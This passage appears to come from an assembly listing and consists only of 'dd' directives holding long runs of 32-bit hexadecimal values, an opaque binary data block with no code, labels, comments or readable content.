dd 0B981E8BBh, 75017FEFh, 8F67C050h, 55F71AFDh, 0CD8F81Ch
dd 54E97940h, 0B8B3E87Fh, 69B12094h, 5448CE16h, 28C870CBh
dd 53C48EC0h, 0E0EF0AE6h, 4807C9Bh, 21591965h, 0F00756Fh
dd 0FE1EF4F2h, 0D3013952h, 0B1F7EDB0h, 0BDE08C21h, 86B72553h
dd 0F0B8ECA4h, 5E743F44h, 0F84C345Ch, 6F008C8Dh, 0E93D5102h
dd 48CFC2E0h, 0AC11B02Bh, 1DD1392Fh, 28ECA2C8h, 0F9796600h
dd 298B3FBh, 0DCC9043Fh, 0C8647AF0h, 652F5EF8h, 0F798007Fh
dd 8015F2E3h, 28F8B194h, 39A23806h, 9105231h, 8C40E4C4h
dd 981D4CC3h, 9E80C982h, 0CDFC43C2h, 74FC9435h, 39006846h
dd 6F980C15h, 2A05ACCAh, 563FA68Bh, 32869862h, 0F96C7C40h
dd 0E08CD04Ch, 0F1B1B0h, 31ECFA08h, 6FD0787Bh, 0B90A201h
dd 0EBC26774h, 0C9BC8C7Ch, 7E5C178Ch, 0A5B60298h, 844009A3h
dd 31805DC6h, 15D912F1h, 575C0455h, 0C32CC8FAh, 3368048Ch
dd 0A26F3BC6h, 8071C76Ch, 0FE2445A1h, 1383503Ch, 0EAF8D481h
dd 0A5244639h, 619D786Dh, 42556F41h, 0BA112FB4h, 4F84507Ch
dd 0E200C3BEh, 7FAD1B94h, 16813Bh, 0D4471503h, 0F5AB913Ah
dd 5C4F115Fh, 8A8E972h, 39683Bh, 3D7BA785h, 0B2A153BEh
dd 16901754h, 0B43C126Ah, 3F7DF850h, 0B5DFBF12h, 0F380609Bh
dd 0F80FFB6Eh, 6C16DCBEh, 0C8CD3C24h, 722EF1D0h, 5B940097h
dd 547ADCF8h, 0F8B9118Ch, 0E41887D1h, 0C3E39h, 5857491Bh
dd 0A015AFEDh, 0B459B668h, 234676E8h, 0EF317600h, 0CFA7B97h
dd 94C855h, 0B59C0BD4h, 87707862h, 8DFC040Dh, 0A2A823D4h
dd 50413024h, 0F6504FB0h, 0E71389E8h, 0C49B3807h, 95975B80h
dd 211FAD7Eh, 0B42E914Eh, 2452F908h, 10D55108h, 6F533Eh
dd 632747C0h, 0AA024A6Dh, 0EC818090h, 56743898h, 5D9112ECh
dd 22D7681Ch, 0D2BBA0D1h, 2F584434h, 5020A7F5h, 21765A84h
dd 1C44BE12h, 0EDC1BC67h, 0B8CAB1B3h, 6AFBDCDCh, 0C890D97Ch
dd 254674E8h, 0AEDFC412h, 27CF2D01h, 946D7442h, 94922F0Bh
dd 9118570Fh, 0F8A93BF5h, 226C625Ch, 44649873h, 70B1FCF5h
dd 465E20AEh, 6B3602C6h
dd 767FEA88h, 7BD942E4h, 63008C0Ah, 0FABC8A39h, 5E35326Fh
dd 506C6918h, 0D43B1C98h, 2C66AEEFh, 0C6808111h, 0A8F967F1h
dd 0B3C04CB1h, 91F1ACh, 7859AEEAh, 4580C5D5h, 0FC40194Bh
dd 0DA549287h, 0EE7F0005h, 9BF97BF1h, 6E027109h, 10EBA7BCh
dd 801874BAh, 178628B1h, 20AF55Fh, 0B440AE3Ah, 0CDAA9801h
dd 0A9CCEF99h, 0C0C77F4Dh, 7328118h, 0F15FAC2h, 5AA42AF0h
dd 0E424886Fh, 0D2140854h, 874C8252h, 0DC8401D5h, 51CC32F6h
dd 1449D074h, 97F3B91Dh, 58C6401h, 212090h, 0C9DDC05Bh
dd 538092A1h, 9813ED9Ch, 83396116h, 58722C29h, 50D1C8B2h
dd 0B809DD92h, 364024BDh, 60A79084h, 579745B0h, 109FED1Ah
dd 598CBAF0h, 188A799Ch, 64BC1D7Ah, 1B0814Dh, 7031D8E9h
dd 0E092AFC0h, 91A89797h, 82E68E24h, 745BF659h, 0D9BC8148h
dd 0C4F14334h, 56006092h, 2A3A6FA9h, 17BDAF55h, 5AB2F44h
dd 0A0BA17DCh, 4BF41484h, 0B2707553h, 7F023085h, 5C2C122Ch
dd 87D11029h, 2B073B18h, 839FEF8h, 9FA018A9h, 0F6B901AEh
dd 97443738h, 5DE86039h, 307C40h, 0A150F434h, 893A4A2Fh
dd 5A3BFB12h, 822308E6h, 68F1C701h, 0AC7CB0F9h, 70ADACB1h
dd 9C2CBF7Ah, 5B0968C9h, 37C4A1C7h, 0BA027D56h, 3AB81881h
dd 14F8D740h, 6000E319h, 8DFBAC18h, 1ABDA16h, 13E62D3Bh
dd 2F3E7A02h, 0BC7F4045h, 798174C1h, 60BA23F0h, 2E695174h
dd 37013F53h, 6BEF529Eh, 0F0708AF4h, 66E0061h, 4E39EBAFh
dd 24941A1Dh, 0C6D19CA9h, 0D102A118h, 840863BFh, 9346427h
dd 0F70FFFF9h, 22551890h, 508E5D4Ah, 6BC18988h, 95C90708h
dd 0DE20688Dh, 0A9D84158h, 3CF20083h, 0CCB8B8h, 235FC3Ah
dd 92636B16h, 5CBDAD16h, 4FC42CA4h, 4370C85Bh, 1A046000h
dd 0A72313CEh, 197408h, 25C742B2h, 0CD53776Ch, 0CF654C02h
dd 0CDBFD362h, 0EAEE004h, 3906D297h, 50C512BCh, 31C08048h
dd 0D0C7841Eh, 5B8935A1h, 5EBB03D4h, 18022699h, 0E179E7FCh
dd 746C5617h, 0EC1FC646h, 2E83FC88h, 1F614EBAh, 6C207170h
dd 562313F2h, 1880F00Dh, 40C9B698h, 0CF8890F5h, 1C9052h
dd 6377BB16h, 0AD0EBD33h, 7BE060EFh, 9E07F080h, 0C0049220h
dd 0A251BD8Ch, 0A48D80B2h, 0F6B786E7h, 7767876Eh, 0E7FB2070h
dd 15DA2ED7h, 0C9467614h, 0E2E54F00h, 8B6FF96Bh, 0C2F45718h
dd 25F5921h, 0E6064FBDh, 0ABC0EBE1h, 317A1AA4h, 823FE83Bh
dd 540FF98Bh, 204CFAFAh, 0F0137F01h, 48E0B4DDh, 0E14619BBh
dd 2B7A188Bh, 29D1700Bh, 0E458C530h, 8024608Bh, 59040975h
dd 0C88FA99Dh, 0A06FFE27h, 2FB5F555h, 0BA44ACB8h, 1C5809D6h
dd 88F1EAF4h, 38420D3Ch, 0A8A63176h, 0EF01F620h, 0BD96A9F7h
dd 0A9BE7A59h, 20357816h, 26196978h, 972740B4h, 808791C0h
dd 0E88B2184h, 0EDA805EAh, 0E1E00D59h, 0A56409CCh, 4D20E0E1h
dd 156123Ch, 3328856Bh, 99E6BD14h, 0B8D683A2h, 30B63964h
dd 0C82957B0h, 0A63B8B0Bh, 970C40F9h, 39092DF7h, 28C454E5h
dd 576F3560h, 77952C07h, 0A692476Ah, 91FC7C5Dh, 95AE223Eh
dd 71914097h, 1C00B08Bh, 484A1749h, 1D5DA22Dh, 83279158h
dd 0C8F150A6h, 1C77FE3h, 55D73BA9h, 2E05A836h, 7DCCC844h
dd 62169000h, 0F0BE7243h, 40102788h, 0C1533F52h, 0D08FBE2Ch
dd 25562D08h, 463C3C40h, 5917DD17h, 17AA0CCh, 0FAC79FA5h
dd 808D863Fh, 3DFB6C30h, 0E776BAF4h, 4A40406Fh, 426A8DD3h
dd 0DD0C8C0Fh, 0D289802Ah, 5FDF2175h, 66902261h, 16F0D030h
dd 0F2E0FACDh, 87C0C080h, 0E02113F0h, 14AF00FEh, 55684C2Ch
dd 5A27CE88h, 0E5B0E545h, 0C050ACCAh, 31E783Eh, 7304166Bh
dd 0CE50901Ah, 0CC017654h, 6195A7B1h, 29C8140Dh, 757655h
dd 67070A90h, 0DC84ECC8h, 0C830F04Ah, 0C4A9E0AEh, 4794F418h
dd 608082ADh, 26692C16h, 74A4ECCAh, 71D30F10h, 0F280A28Fh
dd 7EDD618Ch, 0D72A3402h, 48BFE558h, 25A77CD4h, 0C08F8F89h
dd 5234F393h, 3086E260h, 0C5ECBDE4h, 805370Bh, 0E5B6858Fh
dd 2E25DBC1h, 7E50202Bh, 434E640Ah, 61010004h, 14A2D21Fh
dd 0E00EFF80h, 0C1420FE3h, 0D872DE5Bh, 4D2B8600h, 22872C26h
dd 53F604C2h, 0AD91A099h, 0B3231024h, 24A0F425h, 5D87ABA4h
dd 0CDEDC600h, 78E3F59Bh, 0E4630357h, 0BDC4C783h, 20D6CA91h
dd 25F54C74h, 88104E6Ch, 0BDC8C2C7h, 0E88A042h, 0B2A717A4h
dd 0ACC14BECh, 0C8714138h, 0A8F0146Ah, 0B7F0910h, 45DF2731h
dd 0D30CE1C0h, 9080871h, 0AD655112h, 630054F1h, 542D55F6h
dd 7200040h, 7E4ABFB8h, 0A10B9BF4h, 0E2054EB9h, 0D7888000h
dd 4FF51549h, 0DA38C8CCh, 0B9001772h, 77ADD9DFh, 0F84E8D14h
dd 6D7A090Dh, 0C585B87h, 4AE9A844h, 0F6A0D081h, 0BB2D9808h
dd 73EC6212h, 0BFB97018h, 0E016A85Ah, 0D014E8A4h, 4710B4E1h
dd 24854A0Ch, 8888608Eh, 0C460C9C7h, 4EC5520h, 9DAE395Ch
dd 70548092h, 0F09E9010h, 5A20878Bh, 0B52820F0h, 35661600h
dd 0A62DE5FBh, 10184A01h, 8BAC441Ch, 4199008Ch, 1D5A8FCFh
dd 4E103B70h, 0CA12713Dh, 0E214B275h, 33733070h, 0C415D2Eh
dd 3C7E1F40h, 71CAA0B0h, 6EF20094h, 77A91E69h, 5539DD1Bh
dd 603007FCh, 5BD2E5B1h, 98D13Eh, 8F3AC15Fh, 0B0107EEh
dd 8EB068C3h, 0E82CC6EFh, 0ACF7DC0Dh, 986E2B81h, 3F08CF26h
dd 9A641778h, 50E41D02h, 185B1FFEh, 64E4C727h, 82096723h
dd 10C6F7Ch, 7A38F516h, 0DA0E746Bh, 1D80DDCBh, 0E007F920h
dd 0F0A0D86Ah, 942C4480h, 0C127EBF5h, 0DE5D8468h, 0A2606386h
dd 144F3071h, 101E4026h, 30FADC8Bh, 0D793151Ch, 0E230A2C9h
dd 205D3021h, 5C88885Bh, 90BF412h, 0DF990FF2h, 9F4CA098h
dd 0E725E300h, 0DDAE83A9h, 94E20E8Dh, 6D003345h, 689B8F4Eh
dd 5946B917h, 59CEEC49h, 48A8E778h, 60788823h, 30A397F5h
dd 52C0A92Bh, 0D27599Ah, 0AA80C148h, 342F4F71h, 0B210E2A8h
dd 6229308Ah, 0E4B97200h, 5990E6DCh, 24972FE5h, 97BFF86Eh
dd 83249178h, 0B0CADF12h, 4EFD4E3Ah, 732C4421h, 394404D9h
dd 23582EAAh, 0E80F002Bh, 458DD9EEh, 42D52A00h, 0B3BA97BDh
dd 8AE8D3h, 47EFF30Bh, 6EDB5A64h, 9520F33h, 932100C7h
dd 0F9FB47E7h, 0FD066232h, 20319836h, 2F850041h, 7F6DD5ADh
dd 121F0E84h, 1BC05B0Ch, 6C86B5A2h, 829A01AEh, 32E9D335h
dd 0EB39800Fh, 94C55490h, 8EBB0CA6h, 2508968Ch, 895121C0h
dd 1E33E054h, 4008A1D0h, 0E4E61E63h, 2EC07BD6h, 0AF6EFE6Dh
dd 18FD7FD7h, 0B0943B60h, 0C50EB7D3h, 0A11E8DCEh, 0CF16D6EFh
dd 21AA0898h, 0CE00BDDAh, 0A1119913h, 0EE2EAF81h, 20700152h
dd 0AAC5D2F2h, 0F985E031h, 0A0B2581Fh, 94990CD8h, 89704Dh
dd 816607E4h, 6AFBC5E7h, 0E83855E0h, 20026103h, 89C8C35Dh
dd 4240C6Ch, 1C084481h, 554521C0h, 0E6BF61C3h, 8DC201E6h
dd 0E80550F2h, 7238013h, 39FFAF3Eh, 0F4D20055h, 5A703542h
dd 0D007B85Fh, 5B5132FAh, 0A3CF8170h, 41F81C10h, 0FF383AE9h
dd 490BE898h, 7E008919h, 461F3091h, 7A2971A4h, 159D18F9h
dd 8B5FC60Bh, 0B70FC10Eh, 1B5A3F1h, 0EB181B33h, 89834504h
dd 191121E3h, 5E0312E9h, 43B0C371h, 0C2E14097h, 0D6E4A0EEh
dd 32D5AE01h, 858D47B2h, 3A9C0DC5h, 8E94C60h, 1F007C3Fh
dd 79998432h, 500FDE70h, 7613887h, 6E31A1BAh, 52506008h
dd 1C0129BEh, 895F2CC2h
dd 0BDCC2404h, 5A8DEB55h, 940E8B50h, 43C85FA3h, 3015A2CAh
dd 8FA058F7h, 383053Dh, 79B8BE46h, 46A82502h, 1D6FF48Bh
dd 0E831E6D8h, 35505225h, 48C35819h, 0FF4E44h, 2C35040h
dd 5EAB1ECh, 0D88C085Fh, 0F0C20E03h, 3025856Ah, 0C083F712h
dd 8D310506h, 52F11995h, 8A00F1E9h, 0C2DB3453h, 0B3106630h
dd 92406735h, 0E1BD1431h, 465651Bh, 5B552153h, 5C89C8C3h
dd 4319448Ch, 77C35300h, 0E12627DBh, 4423A7CFh, 0C887601Ah
dd 4155090Eh, 5C0063DEh, 65FD6A4Bh, 7195FF0Ah, 52145324h
dd 0C35A872Eh, 51078829h, 524250h, 0A02CBDC3h, 8DE045FCh
dd 0D64B9D01h, 830F07E7h, 602B00CFh, 0B0D98B66h, 0FF0161F4h
dd 0B8D8BFD3h, 85DC725Ch, 0E42029B9h, 181DD9E7h, 0B80E0075h
dd 31DA9599h, 0B01893BFh, 79250AE8h, 1A8803B4h, 0F55082E0h
dd 5E9A5F0h, 4A671FC0h, 7B6DB6F3h, 91CF495Eh, 1FE837h
dd 11ED815Dh, 7CA03792h, 0E7831469h, 312AD563h, 0FEBD00Ch
dd 0A101F986h, 18D1A70Ch, 1005718h, 8BC83C27h, 0A71AC59Dh
dd 601AC4CDh, 1EEFA9FCh, 0D338349h, 0C1DF8F0Fh, 752157h
dd 0E3815E72h, 565C52E1h, 0E4C35E30h, 22744689h, 56460017h
dd 74BEDDC3h, 8D1829BFh, 0F5B631B9h, 6ADB640Bh, 0B86450B3h
dd 0E9008C1Ch, 32304E84h, 613681Fh, 0D58D8975h, 833F662Dh
dd 0D02FA8BDh, 3D84C180h, 958C3FD8h, 0B0E98013h, 0DE817C6h
dd 0C010000Bh, 250CB52Ch, 3472A1E4h, 924AA409h, 0FBB490E8h
dd 1B67A36h, 93EC647Ch, 0D8654D2Fh, 69024337h, 0FCA61383h
dd 8D90875Fh, 0C712A219h, 0AB4A8885h, 1CD9DDA9h, 0D2FAB718h
dd 510D3Eh, 139CE7Eh, 0C81F8DBDh, 1FA645D7h, 3F16AD0Ah
dd 14FC10CEh, 31730F8Ch, 6F995D95h, 0EA8E100Eh, 7ABEE26h
dd 0DD8611FEh, 0A760E02Dh, 5C938D42h, 59875191h, 4C8922C3h
dd 4100E847h, 7BFEC351h, 537E013Bh, 0FA5D2C28h, 0FB20303Dh
dd 0FF23810Eh, 2EE95CFEh, 9181471h, 68D0F18h, 6F858915h
dd 0A89DDFD1h, 2069980Ch, 661030B9h, 19E8DB8Ch, 83FE398Ch
dd 7E37B90Ch, 0F67BF9C2h, 22530448h, 0C11CA024h, 0C740821Eh
dd 40822D91h, 3B62D3h, 0BF9025FBh, 1D303CAAh, 230D5077h
dd 0A11C31BDh, 2E1210F8h, 941B42E9h, 1535C209h, 47B131Eh
dd 522C545h, 0E43170E6h, 19C43255h, 6018003Dh, 78CACCC1h
dd 5F14B2BAh, 8188810Fh, 0A859D09h, 8712507h, 5FC25787h
dd 7C0FE1C3h, 47806E33h, 0D136C357h, 0A782410Ah, 0A508BD60h
dd 4521701h, 21F972h, 0B60F615Fh, 0D11799D8h, 1A951816h
dd 0BCBAA59Bh, 1DC46847h, 0AF332E60h, 3B745A01h, 59062301h
dd 0AB950B20h, 47C3B2CFh, 6717440Ah, 0F80F0C70h, 89B51209h
dd 863E4E25h, 0E8C10A11h, 1CD67E04h, 7157C240h, 3181AAh
dd 53F7665Eh, 16A284E2h, 0EED1F931h, 24F28670h, 9057D82Bh
dd 10D65809h, 502C186Dh, 0FC792F2h, 1CC66173h, 0F1581524h
dd 97B52CFAh, 8A06EE4Ch, 58C97380h, 7F906378h, 50E412Eh
dd 119467Ch, 5E3A6A93h, 824160D0h, 83222391h, 149D1062h
dd 62A78344h, 13601C44h, 101C998Dh, 2C89169Bh, 48809C6h
dd 5C803C4Eh, 0D2027F83h, 7E6F30h, 914166Ah, 0F632D1h
dd 81769015h, 49FFAFDEh, 538D1249h, 3318A23Dh, 391F4988h
dd 0C0E93529h, 3289A500h, 9AE2585Eh, 5D154187h, 88C50BA0h
dd 0C294C015h, 0B6B1820Fh, 0EE3E1025h, 0C6510257h, 0D5ED48A5h
dd 0ACC1A542h, 0BE661015h, 84D949E8h, 80665E55h, 0F00F28F1h
dd 572C830Dh, 62A8210Ch, 3EDC1996h, 7600A220h, 30AB7891h
dd 0B44E929h, 0F1F2F7h, 2E96C670h, 7851D166h, 0BCBA5849h
dd 0E2530BEh, 57880FAAh, 0F8E10158h, 0FB1C8C17h, 0B997B562h
dd 81660620h, 0B18A0BF7h, 1DA2C183h, 3B020279h, 1DCF41D9h
dd 1BF80628h, 7B29018Ch, 4CFBB30Ch, 10E9D05Ah, 8AAA21C0h
dd 1C53685Fh, 0C2518B92h, 6BA1E5D1h, 801DD985h, 0F6F8D9B6h
dd 2493C159h, 467E43A2h, 0BC760517h, 0AC982C78h, 9AF1EC89h
dd 0F5B590Ch, 0A30F3EBCh, 8136808Bh, 0DC30D813h, 0CC00AA23h
dd 62FAA03Ah, 0C3522BBEh, 3016E25Eh, 2654EB7Fh, 243E042Bh
dd 3DC6611Ch, 392D0834h, 0BE00AF42h, 6A298DAAh, 15C03CE9h
dd 89B6D781h, 8B0E14ABh, 1AB846C0h, 0F2341C8Ch, 0AA8C8411h
dd 0D5A5C135h, 8E0F0131h, 612C9B76h, 0D80A6F90h, 1B465C38h
dd 1461124h, 0CBAEAAAh, 0E62531A0h, 4887C92Eh, 2CC7FCAAh
dd 82486585h, 71681151h, 1944BD67h, 0B02BB660h, 0AB695B14h
dd 0D20E5C95h, 8517F68Eh, 23323F34h, 40E3001Ch, 0FF579CB7h
dd 94E8D112h, 0B4EECE03h, 8085CA12h, 0D9B2BE39h, 0A3275977h
dd 1116F96h, 29610F6Bh, 0E154C58Dh, 9CE9BBD8h, 163C809Bh
dd 34F5ECC6h, 0BF2F5500h, 0B5319081h, 0FD0B52A5h, 0BE060522h
dd 4AD87B76h, 0A203685Bh, 1A46748Bh, 6E927C00h, 8817F742h
dd 1F0CE830h, 71C7C1FDh, 0EFD700BEh, 0A43D4D77h, 0EE00BFE6h
dd 5F127982h, 6F7DB529h, 0F8ACA130h, 5393F706h, 31B58902h
dd 3C86091Fh, 259EFCE1h, 0DCEA00DEh, 0DD061A3h, 4F0A34D7h
dd 0D2FDB523h, 31E39A6h, 0E50A050Ah, 2289A39Ch, 552F0262h
dd 1BF9070Dh, 1711479Dh, 2531C081h, 0CBD4B877h, 0F59BBA12h
dd 36064D8Bh, 605B1522h, 9CB16320h, 15490109h, 0C8AC0479h
dd 535BE83Dh, 1F75850h, 1DF52140h, 0D8853161h, 75BDFD04h
dd 0E9121692h, 0DBCEF753h, 0F5C01AC8h, 62E2BD4h, 0E98D5EA1h
dd 3E481F2Ah, 524938D7h, 49E9BC01h, 65056C8Ah, 0C0D76B8Dh
dd 1E34C845h, 94284200h, 0F78B9F7Eh, 0EA0600E1h, 0DE777D56h
dd 5300E703h, 0B145633Dh, 0A7BD9Bh, 820FD13h, 9411C174h
dd 0AA9AEF1Eh, 97266BC1h, 0C6207956h, 6480005Bh, 0C5DDBAD0h
dd 0E27FBF8Dh, 6CA4B800h, 4D6B45D1h, 0FE42EEF4h, 0A0743Eh
dd 68886114h, 0D69CAE17h, 65E2440Ch, 703C1D9Eh, 919A3ECCh
dd 9FF8F483h, 7AC3738Dh, 809674F8h, 9C004876h, 41EFA86h
dd 63E15CCh, 21D65306h, 0AD00443Ch, 4CC9EB44h, 60482518h
dd 92A83030h, 0A00E8FEh, 14EEBCF4h, 3E08A6F6h, 3800102Eh
dd 83FAAA81h, 0FB058FA5h, 3170AF21h, 41478640h, 305BD822h
dd 3264C7A4h, 5E0070C9h, 0FF4F6744h, 1F6B8561h, 0F0E69359h
dd 0A90B0925h, 18182CE4h, 8417D6ADh, 756CFA1Bh, 0AA7B0038h
dd 0AB1DE05Bh, 9F14C650h, 158C4270h, 7EEABEFDh, 8CA07F00h
dd 0D2A7B954h, 2307292h, 0CC679FB3h, 9DA09A61h, 0A8BE9C38h
dd 233D4F00h, 49F62E46h, 6D1FC0B4h, 37C8F4B0h, 0E05C111Eh
dd 0C06F20E5h, 0E26F24Eh, 64888987h, 3156E41h, 2A0F202Eh
dd 0FC0A34FEh, 0E1D00861h, 9AACC200h, 87A780h, 9C35C537h
dd 6BE0F2B8h, 2C09EE1Bh, 35CE070h, 5D2B00F1h, 7C1A6A7Eh
dd 4E0086A0h, 338CA280h, 8D5B21h, 0B2B090B1h, 5D77CBC9h
dd 6C2AE9A0h, 0E6B94207h, 0F18058A7h, 3E1922CEh, 0FD248FB7h
dd 8B08002Eh, 6D8964DBh, 419A3501h, 0E5C3611Fh, 18ECD352h
dd 8D016A38h, 6D0A1C75h, 4DCC4639h, 0C6A300B9h, 0CE401AAEh
dd 2571DC90h, 623CBB12h, 4D92000h, 25F7B56h, 69805927h
dd 0A7A117ECh, 80B047C4h, 64B51E0Dh, 46AA2FBh, 3C23632Ch
dd 0BEA49061h, 58007B9Fh, 3738D3B2h, 14A6DEh, 467E9C76h
dd 0A37F99ABh, 83518900h, 85538BA9h, 5A923DA6h, 0D898CC80h
dd 87376F80h, 15B3A824h
dd 0DCEA6D1Eh, 7D4F9654h, 0A1136300h, 772EFAF3h, 0C1D3033Fh
dd 38502DFBh, 86745E80h, 7900297Dh, 48603DC9h, 0F22FAC10h
dd 9C19003Bh, 7E9A75E8h, 0B100902Eh, 53698B9Dh, 1F502978h
dd 70C7BC39h, 0D12A93EEh, 727640F8h, 33001BE8h, 0BEFBB604h
dd 771565h, 1FF88498h, 1A2CC7FFh, 0A9BA5416h, 16E8104h
dd 0F6683E80h, 8D6901A8h, 45579A3Dh, 0D700F3A6h, 0D4DF54C6h
dd 2499880h, 166F8965h, 77AE2F04h, 0AF16E82h, 68C8C0A1h
dd 0F1CD3EBh, 0A70059C2h, 5B0B8E6Fh, 0ED093DE4h, 0F678824h
dd 91A00D5Dh, 1B536B48h, 0C7278005h, 480679Ah, 0A142678h
dd 19DFA14Eh, 5F0784F4h, 539BD01Ch, 0CB14A6B8h, 11C65834h
dd 0CA0001A1h, 28607A56h, 84A07D5Ah, 0A900E4A3h, 0C7C88123h
dd 0E21EFB5h, 22F02848h, 60F22A80h, 2D601CE3h, 2F51BA68h
dd 0BEF6B2h, 4B327249h, 0A2C1556Fh, 713EED73h, 0A61C83F4h
dd 901B7D13h, 39528A9Eh, 1E304CB7h, 46C32318h, 1D0FB160h
dd 12495BB4h, 7C9016Ah, 0AE4A31D4h, 8D6CA7A0h, 0E002079h
dd 6BFF17F4h, 12D7855h, 0A4DC3553h, 800706F7h, 4BFB7E46h
dd 957210h, 74516B7Dh, 0D5B2C85Ch, 0B785BD00h, 4C8AC2DAh
dd 98C30083h, 50C50B26h, 0C00726Ch, 0EB03E0FAh, 57F8057h
dd 58D8780Ah, 819B4027h, 5D39424Dh, 9AEA430Eh, 76BE8C1Dh
dd 58A80011h, 0D1AB38E6h, 7B02DBF5h, 9DAFE5B9h, 143160D7h
dd 44A60680h, 348330C7h, 23359E18h, 114ADC1Dh, 39946BE8h
dd 7AB4E042h, 0A47486DFh, 9B7700D2h, 6BA96F81h, 0B700E2A2h
dd 0E8204019h, 121411Ah, 0E3F54EE9h, 0F4D4ECC9h, 324F466h
dd 0E5002A17h, 7D80E9CAh, 0A079031Dh, 39C6A1B3h, 9ED877D8h
dd 2F404A4Ah, 0B00B1F4Ch, 72430212h, 444D8B60h, 69D8960h
dd 0C0BD5F28h, 7E40E302h, 6070F4FFh, 9801A6h, 0B7CBAA48h
dd 4D32DFA5h, 94427B00h, 0A1D9F1CEh, 0DDF73FD3h, 0E69E6703h
dd 0BE98ADAAh, 83FADBB6h, 84910607h, 5420EBBDh, 0E16BF2C0h
dd 0A6CBC4Ch, 0B9F59F1Ch, 515E2D91h, 89066801h, 1480BAF2h
dd 0CBE5F760h, 4200D6EEh, 0FF374F2Ch, 608E0B6Dh, 0FC6525E9h
dd 39989770h, 9992A40Ch, 71D1B19h, 0C2E2BB59h, 0EC5370B0h
dd 630CF70Fh, 0E212EB89h, 0DCD21FBDh, 8212398Ch, 21DE404Eh
dd 0E5E7653h, 0FB94702Ch, 0CF95A700h, 54118h, 0E0307E11h
dd 66CC7863h, 0AD161C04h, 26904819h, 30B9455Bh, 3CE1C5DBh
dd 80C0AA99h, 11B8D9B5h, 6A7A1CA9h, 0CD05405Eh, 0D8412032h
dd 0F5D2A000h, 58B1D1AAh, 0AE75C4h, 0E7D481B9h, 0A25DE9FFh
dd 0FE612500h, 5F750921h, 326A0082h, 39718564h, 82A38D6Bh
dd 437B95B0h, 801CA839h, 870AEB23h, 1F1E93DFh, 82201F47h
dd 0A481972Bh, 0FCEE9C0h, 92D62095h, 0EFD19F4h, 24B0F19Dh
dd 5A6C7020h, 561E2877h, 0BBAE5C7Eh, 2F677D61h, 16987D8h
dd 6C886331h, 618B6634h, 768AE818h, 18A23E52h, 0EE989B74h
dd 0E6890956h, 0D372C681h, 0F1ED837Bh, 1F6D2CFFh, 8ABA8F5Eh
dd 13EC815Ch, 0EE14890Fh, 8AE38F53h, 4B3B0CC3h, 6987F888h
dd 2258381Ch, 3A0F6803h, 148B07E8h, 15C4813Ch, 2466543Dh
dd 68151483h, 33327F2h, 0FF08408Fh, 9358B234h, 514B0F1Ch
dd 0C18AE189h, 870CB162h, 0E980800Ch, 0FFFC3E6Ah, 40B100A2h
dd 6D1D20F5h, 3F631BB8h, 0F8C50392h, 185ABE0h, 0FBA12EF8h
dd 40F13017h, 82EE67E4h, 7FF07897h, 0B85A2456h, 46003E3Ah
dd 0FF706827h, 36F862B4h, 43008BF8h, 5D2C5942h, 64D06Fh
dd 589DBB56h, 0F629A305h, 0F4B60A02h, 0C3DD54F3h, 605DD2FBh
dd 36138EBh, 8A3C3F51h, 0C4E04E36h, 6489953h, 52690168h
dd 9E9C18Bh, 0CE2AE780h, 7D5D012Dh, 0DFE0AD12h, 8B0FB6F3h
dd 9EF3A1BDh, 9CA68308h, 348CE1F4h, 974E8730h, 8166C398h
dd 9170C70Ah, 17A5F150h, 801991FCh, 0F691CC76h, 89C80B2Ah
dd 0DB61759Dh, 0B23A2B6Ah, 0D2001D23h, 0CE12C53Ch, 2BC00CA5h
dd 0D6AE6DCAh, 543D5536h, 419428C8h, 8B0F27FEh, 0D95CA812h
dd 29977049h, 1B8E890h, 0A6F3BA9Bh, 0D71F42Bh, 505F6E01h
dd 61605153h, 0B590BADBh, 0F1678359h, 6DF83BF4h, 0C1A1223h
dd 1D4CF5B8h, 801B11AAh, 187D96C7h, 9DE818A0h, 852946F6h
dd 0B482394Ah, 801076E9h, 6EF3E258h, 0B701D4B1h, 0B4E4A280h
dd 1D86CF5h, 0DA83123Ah, 1EADF31Fh, 3BC9CEBEh, 0AD917976h
dd 0FE098C10h, 9000A9F2h, 0F572C3Ah, 1E3CC39Dh, 64298AC4h
dd 1A09084Ch, 89D3FF07h, 97997D86h, 0B971A03Ah, 1B181959h
dd 0A79B1F05h, 0FA063817h, 194447CFh, 0FD22E1BDh, 8D382FAAh
dd 0E41419Eh, 0C01688BAh, 1DA1239h, 2ACD8D12h, 79C8ABF6h
dd 6420C569h, 5FB76017h, 484987Fh, 29A450CEh, 8002E802h
dd 0C97D21E1h, 9D8B0CD2h, 0F7E06FDh, 6D218F5Bh, 0B225E1B5h
dd 0F96302Eh, 0E922F0BFh, 0D13C0013h, 0F5D981EFh, 0B9002FFFh
dd 0FC8957D6h, 12293B1Ch, 0F4475D53h, 0E08B8F8Bh, 9714598Dh
dd 400467A2h, 66103C19h, 0B41A4ABFh, 9D10A9E9h, 81159174h
dd 11E9121Dh, 4CB51580h, 7817E7CCh, 50B4C100h, 0C6CDDF37h
dd 7300529h, 985C710h, 0AA5B0149h, 1DAC27D8h, 0FC8778FDh
dd 552E970Bh, 5BB63FE6h, 0BD952943h, 40099AA1h, 2677E2Eh
dd 0C9858980h, 4005241Ah, 0FF32D0A0h, 8D4942h, 384C8188h
dd 2E1F41A9h, 442A4274h, 0FA001B23h, 0ACF63B33h, 1ABF2EE2h
dd 38F21439h, 79950183h, 9040BDBCh, 8C15A835h, 9197C678h
dd 0E3154239h, 862F5F87h, 0F001623h, 0BD29D926h, 7A719ACDh
dd 93824A50h, 52C360F2h, 585A31C8h, 8990614Fh, 802AED95h
dd 22F5A3E9h, 148110AEh, 0C94BB038h, 0FDF3E04Fh, 5EBDA517h
dd 2A9F2B00h, 13694517h, 0E670E6EDh, 49A3E086h, 0A23B09BFh
dd 0A9F9671Dh, 0E58E7A00h, 99BE28h, 7B769E23h, 0BFC54373h
dd 6EDCC700h, 371E4A4h, 29CD24B5h, 0D8B68E12h, 0E5928969h
dd 0EE400A54h, 3F6547DCh, 5D842BD6h, 0AD524EF6h, 0E5DB4EACh
dd 9E2703C0h, 3D054152h, 14830FB0h, 0E23D1Dh, 0F1C6E5A4h
dd 0A387B05h, 0A0673600h, 8A6CF761h, 3EC3528Bh, 3E3016E2h
dd 0F898587Ch, 5CA25D22h, 0BA26585Ch, 466F00DEh, 19556F4h
dd 890937F5h, 2013ED8Dh, 2BE2F77Ch, 602EADD8h, 64014208h
dd 68AE5305h, 9520E898h, 2E95F5h, 8AFB16Bh, 7A61EDFCh
dd 0B401A5E2h, 0A88248D4h, 0CC20DDF7h, 935F24FAh, 0C5902F67h
dd 0FC09E5DAh, 4253D8h, 0A728BE72h, 7720EFCEh, 4CEDF050h
